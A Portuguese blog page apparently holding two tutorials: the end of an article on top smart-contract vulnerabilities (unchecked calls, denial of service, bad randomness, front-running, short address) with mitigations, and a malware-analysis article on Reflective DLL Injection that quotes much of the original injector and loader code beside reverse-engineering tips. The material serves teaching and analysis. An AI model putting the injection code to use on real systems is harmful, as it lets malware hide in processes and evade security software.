Apesar do código usar o transferFrom de forma correta, é possível que a execução dessa função falhe por alguns motivos, como por exemplo, a carteira não ter permitido o Allowance por meio do approve() ou a carteira não ter a quantidade de tokens requisitados para transferência. Ao falhar, a transação não será revertida, isso significa que o código continuará executando até o fim ou até que um outro erro reverta a transação. Dessa forma, o balances[msg.sender] será alterado sem que nenhum token seja enviado de fato para o contrato.
Mitigação
Para deixar o código livre de vulnerabilidades existe 2 formas nesse caso:
 - Não utilizar chamadas de baixo nível já que não é necessário nessa situação
 - Checar o resultado da função call()
function deposit(uint256 _amount) external{     token.transferFrom(msg.sender, address(this), _amount);     balances[msg.sender] += _amount; } Sem utilizar chamadas de baixo nível, um erro na função transferFrom() vai resultar em uma reversão na transação.
 5. Denial of Service (DoS)
DoS é uma falha de segurança a qual é possível tornar um serviço inoperante. Nos Smart Contracts isso pode ser feito de várias formas:
- Fazer com que uma condição dentro de um require() sempre seja falsa
- Abusando de erros de Access Control para deixar o serviço inoperante
- Se comportando de forma maliciosa quando é o recipiente de uma transação (com a função receive())
- Diferentes maneiras de exceder o gas limit
Gas fee é o nome que se dá à taxa de transação necessária para colocar a transação na blockchain. O gas é pago para o minerador do bloco da sua transação e é necessário para que haja o incentivo de ter mineradores na rede. Gas limit é o gas máximo que a transação pode consumir, caso exceda esse limite, a transação é revertida.

 
Exemplo
function becomePresident() external payable {      require(msg.value >= price); // must pay the price to become president     president.transfer(price); // we pay the previous president      president = msg.sender; // we crown the new president      price = price * 2; // we double the price to become president } Aqui é possível abusar do código se o atacante for o presidente. No momento que é feito a transferência de ETH para o presidente (que é um Smart Contract), o atacante pode criar uma função receive() que crie um loop infinito e acabe com o gas limit da transação, fazendo ela reverter. Dessa forma nunca será possível se tornar presidente enquanto essa função existir.
Mitigação
Não é recomendado deixar endereços externos não confiáveis definirem o que executar na transação de outra carteira. Uma forma de fazer isso é utilizando tokens ERC20 para a transferência, que não chama nenhum callback definido pelo recipiente. O ETH é uma criptomoeda nativa da rede Ethereum, portanto ele não é um ERC20, porém ele possui uma versão ERC20 chamada WETH (Wrapped ETH).
6. Bad Randomness
Randomização sempre foi algo difícil de aplicar e, uma randomização previsível pode implicar em problemas de segurança. Algumas vulnerabilidades de randomização originam-se de tentar criar algum segredo no código como a seed do algoritmo, porém deve-se lembrar que a blockchain é pública e todos podem ver o que está sendo alterado em seu estado.  
Exemplo
1. Um Smart Contract que implementa um jogo de azar - quem acertar o número da sorte recebe uma recompensa
2. O número da sorte é definido utilizando um algoritmo de randomização predizível
3. O atacante prevê o número da sorte corretamente todas as vezes e recebe todas as recompensas do contrato
Mitigação
Existem jeitos seguros de gerar numeros pseudoaleatórios que não são predizíveis. Aqui está uma forma de implementar um RNG de forma segura.
 7. Front-Running / Race Condition
Mineradores na blockchain são recompensados a partir do gas fee pago pelas pessoas que desejam fazer transações. Essas pessoas podem definir o preço do gas  que vão pagar (gas price) e isso define a rapidez que sua transação será processada, uma vez que os mineradores preferem minerar blocos que possuem recompensa maior. É possível ver os gas prices que estão sendo usados e quanto tempo está demorando para uma transação ser inserida na blockchain: https://etherscan.io/gastracker (os gas prices estão em gwei = giga wei = 10^9 wei)
Utilizando dessa funcionalidade, um atacante pode fazer suas transações serem processadas mais rapidamente que transações de outras pessoas.
Exemplo
Um Smart Contract publica uma hash MD5. Quem achar uma colisão pra essa hash chama a função submitSolution() e recebe uma recompensa. Alice acha uma colisão e chama a função. Um atacante vê que Alice descobriu a solução na blockchain e que seu bloco está sendo minerado. O atacante chama a mesma função com a solução roubada de Alice e coloca um gas price maior. O bloco do atacante é minerado antes do bloco da Alice e o atacante recebe a recompensa.
 
Mitigação
É possível fazer uma função segura fazendo com que inicialmente é enviado um hash da solução (nesse caso em específico não pode ser md5) e após um tempo determinado é enviado a solução de fato. Assim, quem possui a solução sabe qual é a hash da solução e quem está tentando "roubar" a solução monitorando a blockchain não conseguirá ver a solução. Além disso, o Smart Contract saberá quem enviou a hash primeiro e não terá problemas de front-running. Aqui está um exemplo de como implementar isso em solidity. 
 Para mais detalhes leia esse paper que apresenta ataques frontrunning em sistemas modernos de swap e suas mitigações.
8. Time manipulation
As vezes, em um Smart Contract, é necessário utilizar medidas de tempo para certas funcionalidades. Uma maneira muito utilizada para isso é usando as diretivas block.timestamp ou now, que pega quando que o bloco foi minerado. Quem define o valor disso, portanto, são os mineradores.  
Sabendo disso, é possível atacar certos Smart Contracts que utilizam tempo para coisas sensíveis se o atacante minerar um bloco que tenha uma chamada para esse Smart Contract.
9. Short Address Attack
Esse ataque se baseia no princípio que o solidity, quando vai fazer uma chamada para outra função, utiliza a especificação da ABI (Application Binary Interface) para enviar os parâmetros. Os parâmetros do tipo address, por exemplo são inteiros de 20 bytes que são encodados no ABI para 32 bytes (são adicionados 12 bytes). Porém, se for enviado um endereço de 19 bytes, o ABI vai adicionar 12 bytes e terminará com 31 bytes. Isso implica na maneira de como os argumentos são tratados na hora de utilizar eles na função.  
Mais detalhes práticos explicados nesse artigo .
Mitigação
Sempre checar os argumentos que estão sendo passados para as funções do seu contrato.
 10. Unknown Unknowns
Essa categoria incluem vulnerabilidades mais genéricas e falhas que ainda não foram descobertas. O solidity é uma linguagem que ainda não chegou em sua versão estável e está em constante desenvolvimento, isso traz possibilidade de novas categorias de vulnerabilidades sendo encontradas. Além disso, essa categoria também relembra que cada caso é um caso; todos os Smart Contracts possuem características específicas e, portanto, podem ter vulnerabilidades específicas. Enquanto existirem novos contratos sendo criados vão existir novas vulnerabilidades sendo encontradas.

Casos reais
As vulnerabilidades citadas aqui não foram consideradas top 10 por acaso. Elas foram encontradas em dApps reais e podiam causar um prejuízo milionário. Aqui estão alguns write-ups, sobre as vulnerabilidades citadas, encontradas em Smart Contracts nas principais mainnets (redes principais, não as de teste - testnets?
Reentrancy - The DAO Bad Randomness + Time Manipulation - Casino Access Control - Multi-sig Unchecked Return Values for Low-Level Calls - King of the Ether Denial of Service - GovernMental Front-Running - Sandwich Attacks Unknown Unknows - $BURG token Hoje em dia, a preocupação é dobrada em relação à segurança em Smart Contracts devido ao crescimento do ecossistema descentralizado blockchain. Os grandes projetos, além de fazerem um "audit", também possuem programas de Bug Bounty que recompensam pessoas que acharem vulnerabilidades em seus contratos.  
A principal plataforma de Bug Bounty de Smart Contracts é o Immunefi, onde tem programas que oferecem até $10.000.000 por uma falha crítica.
CTFs
Para aprender na prática, nada melhor que CTFs (desafios de segurança) de Smart Contracts. Aqui estão alguns sites para aprender segurança de contratos inteligentes na prática:
Capture the Ether Damn Vulnerable DeFi Lista de de CTFs sobre blockchain Referências
EVM: https://ethereum.org/en/developers/docs/evm/  
DASP: https://dasp.co/  
OpenZeppelin: https://openzeppelin.com/  
OpenZeppelin Docs: https://docs.openzeppelin.com/  
Integer Overflow: https://solidity-by-example.org/hacks/overflow/  
Ethereum Gas Security: https://medium.com/consensys-diligence/silent-but-vulnerable-ethereum-gas-security-concerns-adadf8bfb180  
Ethereum blockchain explorer: https://etherscan.io/  
  • 3,963 views
Hoje daremos início a uma série de artigos sobre diversos assuntos ligados a Análise de Malware. Nesta série, falaremos sobre diversas técnicas que são/podem ser utilizadas por malwares e também como podemos analisar tais técnicas numa perspectiva de engenharia reversa.
A série será dividida em diferentes "tópicos" como, por exemplo, Injeção de código, bypass de X, ou até mesmo algum truque/dica legal que vale um artigo! A postagem dos artigos não irá seguir uma ordem em específico, uma vez que um artigo não dependerá do outro (mas poderão se complementar obviamente). Além disto, para cada artigo serão também apresentadas algumas dicas de análise (dentro do que sei no momento da escrita do artigo, claro) em relação à técnica em si sendo apresentada.
Sem mais enrolação, bora pra o que interessa! ?
Introdução à Injeção de DLLs:
Injeção de DLL como um todo é uma abordagem bastante conhecida e utilizada faz uns bons anos por diversos tipos de software, incluindo malwares. Por consequência da grande utilização por criadores de malware, desenvolvedores de software de segurança (e.g. AV/EDR) implementam várias técnicas para tentar impedir tal abordagem.
Hoje em dia, num ponto de vista de desenvolvimento de malware, métodos convencionais (LoadLibrary via CreateRemoteThread, por exemplo) simplesmente não são tão viáveis, uma vez que é BEM provável que o software de segurança em questão (caso haja um, claro) implemente algo para lidar com isto, seja fazendo hooking em user-mode, listando os módulos carregados no processo e analisando o binário em disco, checando permissões das páginas para ver se alguma possui ERW, e por aí vai. O ponto é que a ideia como um todo é bem manjada já.
Com isto em mente, tanto criadores de malware quanto Red Teamers passaram a criar diversas abordagens (bem criativas por sinal) de se carregar uma DLL no processo alvo e iremos explorar alguns destes métodos nesta série.
Reflective DLL Injection:
No artigo de hoje falaremos um pouco de uma técnica chamada Reflective DLL Injection, que mesmo sendo meio antiga ainda funciona muito bem e é utilizada não só por malwares, mas também por ferramentas ofensivas como o famoso Cobalt Strike.
Criada por Stephen Fewer, esta técnica utiliza o conceito de Programação Reflexiva para cumprir um único objetivo: carregar uma DLL no processo alvo deixando o mínimo de rastros possíveis, isto é, dependendo muito pouco dos recursos do sistema que costumam ser monitorados por softwares de segurança. Este objetivo é alcançado através da implementação de um "Mini loader" em uma função exportada (neste caso chamada "ReflectiveLoader") na própria DLL sendo carregada. Este loader garante que todos os requisitos mínimos exigidos pelo Windows para que a DLL carregada seja um binário válido sejam cumpridos.
Antes de começar:
Para a explicação ficar de certa forma mais simples e fluída vou explicá-la exatamente como ela foi implementada no código original.
Para que a técnica funcione precisamos garantir que atendemos no mínimo 2 coisas:
A DLL alvo deve ser carregada/injetada e seus bytes escritos no processo alvo; Todos os requisitos mínimos para tornar esta DLL um binário pronto para ser executado foram atendidos (realocação, tabela de importação, etc). Considerando que a implementação da técnica tem seu código aberto utilizaremos trechos do código original ao longo do artigo. O código é bastante comentado e eu super recomendo a leitura/estudo de tal para qualquer pessoa que queira entender a técnica nos mínimos detalhes. ?
Inicialização:
A forma utilizada para iniciar toda a execução da técnica no código original é através de um "injetor". Este binário é o responsável pelo primeiro requisito mínimo, isto é, obter os bytes da DLL, alocar memória no processo alvo, copiar a DLL para o espaço de memória alocado e passar a execução para a função exportada da DLL da qual garante o segundo requisito mínimo exigido.
Para começar precisamos obter os bytes da DLL a ser carregada. No código fonte original, por exemplo, a DLL está escrita em disco e seus bytes são lidos da seguinte forma:
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); Em seguida, precisamos obter um handle para o processo que terá a DLL carregada em seu address space. Este handle será passado para a função VirtualAllocEx posteriormente para alocar memória no processo.
Para a explicação ficar mais simples, uma vez que não iremos cobrir questões de permissões, tokens, etc, neste artigo vamos assumir que o processo alvo é o processo do próprio injetor, onde seu Process ID (PID) foi obtido utilizando a função GetCurrentProcessId.
Ao obtermos o Process ID, os bytes da DLL a ser carregada e seu tamanho podemos inicializar a rotina de injeção da DLL no processo alvo:
dwProcessId = GetCurrentProcessId(); [...] hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); DICAS DE ANÁLISE:
Sempre fique atento a funções como CreateFile e OpenProcess, pois estas indicam que provavelmente o arquivo e/ou processo sendo passado como parâmetro será manipulado de alguma forma. No caso de OpenProcess o processo é indicado através do PID e podemos checar qual o nome/full path deste processo buscando pelo PID em questão utilizando diversas ferramentas como Process Explorer, Process Hacker, x64dbg, e por aí vai. Já na CreateFile o full path do arquivo/device é passado como sendo o primeiro parâmetro da função. Tenha em mente que se a DLL não for lida do disco a dica da CreateFile não funcionará, no entanto os bytes ainda assim precisam ser lidos de algum lugar, seja de uma região de memória encriptada, da seção de recursos, etc. Caso você perca a execução destas funções por qualquer motivo podemos ainda assim obter as mesmas informações (isto é, o nome do processo e o full path do arquivo) de funções como VirtualAllocEx, WriteProcessMemory e ReadFile, uma vez que as 3 recebem os handles referentes ao processo alvo e arquivo alvo, respectivamente. Injeção:
Como vimos no código acima a função LoadRemoteLibraryR foi chamada passando o Process ID, os bytes da DLL lida e o tamanho do buffer que contém estes bytes da DLL.
O objetivo dessa função é:
Obter o endereço da função exportada que implementa o loader da nossa DLL; Alocar memória no processo alvo (no próprio injetor no nosso caso) a fim de injetar todo o conteúdo da DLL alvo a ser carregada; Escrever os bytes da DLL no processo alvo, como comentado acima; Executar a função exportada em questão de alguma forma. *Existem diversas formas de se executar funções (que por sua vez podem ser entrypoints, shellcodes, etc) no Windows, desde criando threads até via funções de callback aleatórias que vemos por aí (e vai por mim, o Windows tem MUITAS). O autor da técnica decidiu implementar 2 técnicas a fim de executar a função exportada, são elas ou via CreateRemoteThread passando o endereço da função exportada como "entrypoint" da thread (utilizada no exemplo abaixo) e outra forma via ponteiro de função, que basicamente faz a mesma coisa só que evita a criação de uma thread no processo alvo.
A primeira coisa que é feita é tentar achar o endereço da função exportada responsável pelo segundo requisito. Para não poluir muito o artigo não vou colocar o código responsável por esta parte, até porque ele foge um pouco do escopo do artigo. Resumidamente o que é feito ali é o seguinte:
É feito um parsing nas estruturas do PE em questão (DLL) até chegar em seu Export Directory. Com ele em mãos 2 tabelas podem ser resgatadas, uma que aponta para o endereço das funções exportadas (AddressOfFunctions) e outra que aponta para os nomes destas funções (AddressOfNames). É feito então um looping que checa o nome de cada função exportada pela DLL e então uma comparação para ver se o nome é o esperado (no nosso caso "ReflectiveLoader"). Se for o caso o RVA (Relative Virtual Address) é obtido através da tabela de endereços acima, convertido para offset e então retornado. Caso nada disso tenha feito sentido aconselho você a dar uma estudada sobre o formato PE. ?
O injetor então aloca memória suficiente para toda a DLL no processo alvo e então escreve os bytes da DLL no espaço alocado. Depois disto o endereço da função exportada é calculado somando o offset obtido anteriormente com o endereço base, isto é, o valor retornado da função VirtualAllocEx. Para finalizar, o endereço da função é passado como "entrypoint" de uma thread criada no processo alvo:
if( !hProcess || !lpBuffer || !dwLength ) break; // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); if( !dwReflectiveLoaderOffset ) break; // alloc memory (RWX) in the host process for the image... lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteLibraryBuffer ) break; // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) break; // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); // create a remote thread in the host process to call the ReflectiveLoader! hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); Até então todas as tarefas foram executadas pelo injetor. A partir de agora, considerando que estamos executando a função exportada da nossa DLL, tudo será feito pela DLL em si.
DICA DE ANÁLISE:
Funções como VirtualAlloc e VirtualAllocEx retornam o endereço base da região de memória alocada, ou seja, isto é um prato cheio para colocarmos breakpoints nesta região e observarmos como a região é manipulada (o que é escrito lá, por exemplo). É um tanto normal malwares/packers/etc não se preocuparem muito em quais permissões eles dão para as páginas quando alocam memória com VirtualAlloc, por exemplo, e na maioria das vezes utilizam ERW (Execução, Leitura, Escrita, respectivamente). Isto é muito bom tanto para análises manuais quanto de softwares de segurança. No nosso caso podemos ir na aba de "Memory Map" do x64dbg, por exemplo, e buscar por regiões com estas permissões. Bem provável que tem algo interessante lá! Tenha em mente que se as permissões forem alteradas (utilizando VirtualProtect, por exemplo) logo depois que a operação naquela região for feita ficará mais difícil aplicar esta dica. Funções como WriteProcessMemory recebem o buffer contendo os dados a serem escrito no processo como um de seus parâmetros (além de recebem o PID do processo como já mencionado previamente). Podemos ler o endereço deste buffer para checar o que está sendo escrito. Existem casos que várias chamadas à WriteProcessMemory são feitas e os dados são escritos como se fossem blocos e neste caso podemos simplesmente observar o local onde os bytes estão sendo escritos ao invés do buffer em si sendo escrito. Funções como CreateThread e CreateRemoteThread recebem 2 parâmetros importantes, são eles o endereço de uma função que será o "entrypoint" da thread sendo criada e os parâmetros desta função caso haja algum. Sempre fique de olho nestes endereços e na execução destas funções de entrada da thread as controlando com breakpoints, etc. Mini Loader:
A forma mais manjada de se carregar uma DLL é utilizando a função LoadLibrary. Até aí tudo bem, no entanto, como mencionado anteriormente, a técnica apresentada neste artigo tenta ser o "mais silenciosa possível" e a utilização desta função pode complicar um pouco as coisas. Um dos problemas é que utilizar a LoadLibrary fará com que a lista de módulos carregados do seu processo seja atualizada com o módulo carregado, isto é, sua DLL, dando acesso a coisas relevantes para um software de segurança como por exemplo o full path, ImageBase e por aí vai, o que não é lá tão "silencioso".
Além disso, justamente pela função LoadLibrary ser tão simples de se utilizar e poderosa geralmente ela está hookada (em userland no caso, mas falaremos disto em outro artigo) e antes mesmo do módulo ser carregado é bem provável que o Anti-Vírus, por exemplo, já tenha analisado sua DLL em disco e já tome uma ação em cima dela (impedindo o carregamento dela, por exemplo).
A fim evitar estas situações esta técnica implementa um "Mini Loader", que é implementado na função exportada mencionada acima (exportada pela própria DLL que será carregada). Vou me referir a este "Mini loader" como simplesmente loader, mas tenha em mente que não estou falando do loader convencional do Windows.
E sim! Todo o loader é implementado dentro da própria DLL que queremos carregar (daí o conceito de Programação Reflexiva), doideira né?

A primeira ação executada pelo loader é tentar obter o endereço base da DLL em si executando a função exportada. Este endereço será necessário pois será utilizado para parsear as estruturas do formato PE necessárias para o loader. No entanto, para chegarmos até a base da DLL precisamos de um ponto de partida, uma vez que a função exportada não faz ideia de onde ela foi carregada.
Temos várias formas de obter um endereço de referência para trabalharmos (call $0 seguido de pop <reg>, por exemplo) e a utilizada pelo autor foi criando uma função "caller" que irá servir como uma espécie de "ponte" para forçar a execução da instrução CALL. Esta instrução por padrão coloca o endereço da próxima instrução a ser executada depois da CALL na pilha, nos permitindo obter este endereço de alguma forma. Este endereço na pilha é então retornado executando a função _ReturnAddress, chamada dentro deste "caller".
Com um endereço de "referência" em mãos, nós iremos "andar para trás" (literalmente decrementar) o endereço de referência até achar as strings "MZ" (assinatura do DOS) e "PE\x0\x0" (assinatura PE), indicando que atingimos o endereço base da DLL:
#pragma intrinsic( _ReturnAddress ) __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } [...] // we will start searching backwards from our callers return address. uiLibraryAddress = caller(); // loop through memory backwards searching for our images base address // we dont need SEH style search as we shouldnt generate any access violations with this while( TRUE ) { if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) { uiHeaderValue += uiLibraryAddress; // break if we have found a valid MZ/PE header if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--; } Um ponto falho aqui seria o caso do compilador otimizar a "caller" e tornar ela inline. Neste caso não haveria a execução da instrução CALL e toda a operação falharia!
Depois disto os passos executados são os seguintes:
Obtém a lista de módulos carregados no processo lendo a lista "InMemoryOrderModuleList" dentro do PEB* (Process Environment Block) do processo; Tenta achar o módulo da kernel32.dll na lista de módulos carregados; Obtém o ImageBase (endereço base) do módulo da kernel32 para fazer o parsing das estruturas do módulo (e.g. Export Table); Parseia a Export Table da kernel32 a fim de achar o endereço das funções LoadLibraryA, GetProcAddress e VirtualAlloc. Estas funções serão utilizas para construir a tabela de importação da nossa DLL; Faz a mesma coisa com o módulo da ntdll, mas agora buscando pelo endereço da função NtFlushInstructionCache. *Toda aplicação em user-mode no Windows contém uma estrutura chamada de Process Environment Block. Ela é uma das raras estruturas que é "de sistema" e que é exposta em user-mode. O motivo por trás dessa "exposição" é que ela contém informações relevantes utilizadas por componentes como o loader do Windows, Heap Manager, susbsystem DLLs, etc e se estes componentes tivessem que acessar tais informações via syscalls seria muito caro num ponto de vista de performance. No nosso caso a informação relevante é a lista de módulos carregados no nosso processo e suas informações.
O código abaixo demonstra como os passos descritos acima são executados:
// get the Process Enviroment Block #ifdef WIN_X64 uiBaseAddress = __readgsqword( 0x60 ); #else #ifdef WIN_X86 uiBaseAddress = __readfsdword( 0x30 ); #else WIN_ARM uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); #endif #endif [...] uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; // get the first entry of the InMemoryOrder module list uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; while( uiValueA ) { // get pointer to current modules name (unicode string) uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; // set bCounter to the length for the loop usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; // clear uiValueC which will store the hash of the module name uiValueC = 0; // compute the hash of the module name... do { uiValueC = ror( (DWORD)uiValueC ); // normalize to uppercase if the madule name is in lowercase if( *((BYTE *)uiValueB) >= 'a' ) uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while( --usCounter ); // compare the hash with that of kernel32.dll if( (DWORD)uiValueC == KERNEL32DLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 3; // loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrement our counter usCounter--; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } [...Faz o mesmo para a NTDLL...] Caso você leia o código fonte pode notar que existe uma função extra sendo executada tanto para checar o nome dos módulos quanto das suas funções exportadas. Esta função é uma hashing function, utilizada basicamente pra não deixar a string em texto limpo em memória uma vez que ela só é resolvida na hora que é utilizada. Temos um vídeo no curso de Análise de Malware Online (AMO) aqui do Mente Binária que explica um pouco mais sobre este tipo de técnica. No nosso caso este hash é calculado utilizando a função _rotr.
Talvez você esteja se perguntando por que diabos precisou dessa trabalheira toda só para pegar o endereço de funções que em teoria já estão disponíveis no nosso processo "host", uma vez que a kernel32 já está carregada nele e poderíamos simplesmente chamá-las, certo?!
De forma superficial a resposta para esta pergunta é simples! Acontece que este loader é escrito utilizando uma abordagem que faz com que ele seja o que é chamado de Position Independent Code (ou PIC para os íntimos), que é basicamente uma abordagem que garante que independente de onde o código esteja sendo carregado (endereço) ou módulos disponíveis, ele alcançará seu objetivo uma vez que utiliza apenas estruturas e recursos que são garantidos estarem presentes no address space no qual ele está sendo executado (está aí o motivo de se buscar um endereço de referência tanto via PEB quanto via _ReturnAddress). Este tipo de abordagem é bastante utilizada em shellcodes, por exemplo, uma vez que estes não podem depender de endereços pré-definidos para executar suas tarefas.
Continuando...
O ponteiro obtido para a função VirtualAlloc é utilizado para alocar espaço suficiente para suportar toda a DLL (sim, de novo); Toda a DLL é escrita na região alocada, mas agora tomando os devidos cuidados copiando os headers, seções, utilizando o RVA ao invés do offset, etc; A Import Table é construída parseando o Import Directory a fim de se obter todas as DLLs e funções importadas destas DLLs utilizadas pela nossa DLL sendo carregada; A imagem da DLL em questão é realocada; O Entry Point (no caso de uma DLL a função DllMain) da nossa DLL já carregada e pronta é então executado. Como os 4 passos acima caem no mesmo ponto de terem mais a ver com o formato PE do que com a técnica em si não vou colocar o código aqui (até porque o artigo já está bem grandinho). No entanto, reforço novamente que vai ser super valioso se você ler o código para entender tudo!
DICAS DE ANÁLISE:
Como estes trechos de código não utilizam nenhuma função da API do Windows eles são um pouco mais "manuais" de se analisar, no entanto, a dica que posso dar é: fique de olho em registradores que contêm endereços de estruturas conhecidas e seus offsets! Em x86, por exemplo, o endereço da TEB (Thread Environment Block) é carregado em fs:[0] (em x64 fica em gs:[0]). Se deslocarmos 0x30 bytes (x86) ou 0x60 (x64) a partir do endereço base desta estrutura obtemos um ponteiro para o PEB, e a partir dela pegamos a lista de módulos carregados e por aí vai! QUASE tudo isto está documentado na MSDN, mas caso não esteja certeza que você acha no Google e/ou em algum repositório por aí. ?
A mesma ideia de acompanhar offsets conhecidos se aplica ao parsing de estruturas do formato PE. O offset 0x3c a partir do endereço base do binário, por exemplo, representa o campo e_lfanew do IMAGE_DOS_HEADER. Este campo contém o offset para assinatura PE ("P", "E", 0x0, 0x0) do binário, que por consequência é o início da estrutura IMAGE_NT_HEADER. Para que seja feito o devido parsing das estruturas seguintes (Optional Header, Data Directories, etc) o binário precisa obter o endereço desta estrutura e com isto podemos utilizar tais valores como dicas para sabermos quais campos do formato PE estão sendo acessados. Execução da DLL:
Neste ponto nós já temos nossa DLL mapeada em memória, carregada propriamente e pronta para ser executada! Isto tudo interagindo muito pouco com recursos clássicos de carregamento do sistema. O trecho abaixo mostra como a função DllMain é executada:
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); // call our respective entry point, fudging our hInstance value #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); #else // if we are injecting an DLL via a stub we call DllMain with no parameter ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); #endif A partir de agora é bem comum que a DLL execute o seu verdadeiro código malicioso (através da DllMain), uma vez que toda a injeção já aconteceu e a DLL está pronta.
DICA DE ANÁLISE:
Sempre observe funções que recebem um ponteiro de função como parâmetro (CreateRemoteThread, CreateThreadpoolWait, etc) ou instruções CALL chamando endereços não tão comuns em execuções normais (endereços na pilha, registradores, etc). Geralmente elas indicam ou o início da execução de um shellcode ou de um binário que acabou de ser carregado/desofuscado/etc. Podemos obter todos os bytes de um módulo completo só com o endereço comentado acima (isto é, de uma região suspeita que encontramos alocada e sendo executada). Para isto basta seguirmos o endereço na aba de "Memory Map" do x64dbg, por exemplo, e fazermos um "dump" de toda a região:
Lembrando que existem diversas variações para esta técnica, desde a modificação das funções sendo utilizadas (ou a não utilização delas) até a forma com que a permissão das páginas alocadas é manipulada e os bytes da DLL alvo obtidos. Nosso foco aqui foi apresentar de forma simples a técnica e seguindo rigorosamente o código fonte a fim de melhorar a experiência de quem quer aprender acompanhando o código fonte.
E é isto! Espero que tenham gostado e qualquer dúvida/feedback/sugestão estou à disposição, seja por aqui ou pelo nosso Discord.
Abs,
Leandro
  • 5,848 views